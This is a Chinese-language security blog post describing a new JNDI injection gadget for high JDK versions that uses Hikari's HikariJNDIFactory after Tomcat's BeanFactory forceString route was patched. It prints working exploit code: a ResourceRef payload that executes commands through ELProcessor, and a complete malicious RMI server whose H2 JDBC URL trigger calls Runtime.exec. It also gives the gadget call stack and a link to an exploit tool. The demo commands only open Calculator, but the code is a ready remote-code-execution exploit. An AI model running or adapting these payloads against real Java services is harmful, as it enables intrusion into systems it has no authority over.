JNDI JDK高版本绕过--Hikari

222

JNDI JDK高版本绕过--Hikari

起因是挖洞的时候遇到一处JNDI的sink,但是目标jdk为jre11,也就是没有TemplatesImpl,加上目标的cc版本高,导致花了很长时间去寻找gadget,结果却不理想,遂重新在JNDI角度出发。

阅读本文若有所疑惑,可先阅读蓝神文章:https://tttang.com/archive/1405/

为什么BeanFactory没用了?

在tomcat较新的版本,我们最长使用的就是恶意Ref如下

ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));

而其能成功执行的关键原因是在BeanFactory的getObjectInstance方法中,会获取ref的forceString属性,并将其值作为方法放入到forced的map中,后续再从forced中取出method执行

截屏2023-08-30 20.42.05

截屏2023-08-30 20.43.30

然而在高版本中forceString失效了,例如在tomcat9.0.65版本中,BeanFactory的getObjectInstance方法虽然还是会渠道forceString的值,但是不会进行后续处理,同样也不存在forced这个map,很显然是被刻意修复了。

截屏2023-08-30 20.45.17

所以BeanFactory走不通!

寻找新的Gadget

但在回到这种JNDI绕高版本JDK的本质,其根本原因是因为SPI机制,导致rmi/ldap在处理过程中回去调用javax.naming.spi.ObjectFactory的实现类的getObjectInstance方法,而这个实现类以及方法的参数是我们可控的,所以寻找思路就是在其子类做文章。

在阅读蓝神的文章后,其dcdp、tomcat-jdbc、druid的姿势挺有意思,目标也存在h2依赖,但是这些依赖都不存在。

经过一番寻找,在目标所在以依赖环境下,我找到了com.zaxxer.hikari.HikariJNDIFactory这么一个类

最终发现其getObjectInstance最终也会进行连接打JDBC RCE

截屏2023-08-30 20.53.44

尝试编写恶意Server如下

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HackerRmiServer {
    public static void lanuchRMIregister(Integer rmi_port) throws Exception {

        System.out.println("Creating RMI Registry, RMI Port:"+rmi_port);
        Registry registry = LocateRegistry.createRegistry(rmi_port);
        Reference ref = new Reference("javax.sql.DataSource","com.zaxxer.hikari.HikariJNDIFactory",null);
        String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
                "java.lang.Runtime.getRuntime().exec('open -a Calculator')\n" +
                "$$\n";
        ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
        ref.add(new StringRefAddr("jdbcUrl",JDBC_URL));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println(referenceWrapper.getReference());
    }
    public static void main(String[] args) throws Exception {
        lanuchRMIregister(1099);
    }
}

也成功在目标环境执行命令

截屏2023-08-30 20.55.52

该gadget的调用栈如下,不再贴图

HikariJNDIFactory#getObjectInstance(...)
	HikariJNDIFactory#createDataSource(Properties properties, Context context)
		new HikariDataSource(HikariConfig configuration)
			new HikariPool(HikariConfig config) 
				HikariPool#checkFailFast()
					HikariPool#createPoolEntry()
						HikariPool#newPoolEntry()
							HikariPool#newConnection()
								DataSource#getConnection()

此gadget也被集成在我fork的一份JNDI工具中https://github.com/luelueking/JNDI-Injection-Exploit-Plus